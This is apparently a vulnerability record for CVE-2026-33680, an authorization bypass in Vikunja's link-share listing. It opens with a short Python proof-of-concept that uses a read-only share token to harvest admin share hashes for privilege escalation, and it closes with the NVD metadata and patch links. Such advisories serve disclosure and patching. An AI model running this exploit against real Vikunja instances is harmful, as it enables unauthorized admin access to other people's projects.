CVE-2026-33680

import requests # Target URL of the Vikunja instance target_url = "https://example.com/api/v1/projects/1/shares" # The read-only share hash obtained by the attacker read_only_token = "READ_ONLY_HASH_HERE" # Headers using the read-only token headers = { "Authorization": f"Bearer {read_only_token}" } # Send request to list all shares (Exploiting ReadAllWeb bypass) response = requests.get(target_url, headers=headers) if response.status_code == 200: shares = response.json() print("Successfully retrieved shares:") # Iterate through shares to find admin tokens for share in shares: # The vulnerability exposes the 'hash' for all shares share_id = share.get('id') share_role = share.get('role') share_hash = share.get('hash') print(f"Share ID: {share_id}, Role: {share_role}, Hash: {share_hash}") if share_role == 'ADMIN': print(f"[!] Found Admin Hash: {share_hash}") # Attacker can now use this hash to perform admin actions # Example: admin_headers = {"Authorization": f"Bearer {share_hash}"} else: print(f"Failed to exploit: {response.status_code}")

{"cve": {"id": "CVE-2026-33680", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:35.570", "lastModified": "2026-03-30T13:42:38.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.2, the `LinkSharing.ReadAll()` method allows link share authenticated users to list all link shares for a project, including their secret hashes. While `LinkSharing.CanRead()` correctly blocks link share users from reading individual shares via `ReadOne`, the `ReadAllWeb` handler bypasses this check by never calling `CanRead()`. An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access. Version 2.2.2 patches the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de la versión 2.2.2, el método `LinkSharing.ReadAll()` permite a los usuarios autenticados con un enlace compartido listar todos los enlaces compartidos de un proyecto, incluyendo sus hashes secretos. Si bien `LinkSharing.CanRead()` bloquea correctamente a los usuarios de enlaces compartidos de leer enlaces compartidos individuales a través de `ReadOne`, el gestor `ReadAllWeb` omite esta verificación al no llamar nunca a `CanRead()`. Un atacante con un enlace compartido de solo lectura puede recuperar hashes de enlaces compartidos de escritura o de administrador en el mismo proyecto y autenticarse con ellos, escalando a acceso de administrador completo. La versión 2.2.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.2", "matchCriteriaId": "79DC3F0A-11CE-4DAA-884D-F285B5D344DD"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/9efe1fadba817923c7c7f5953c3e9e9c5683bbf3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8hp8-9fhr-pfm9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}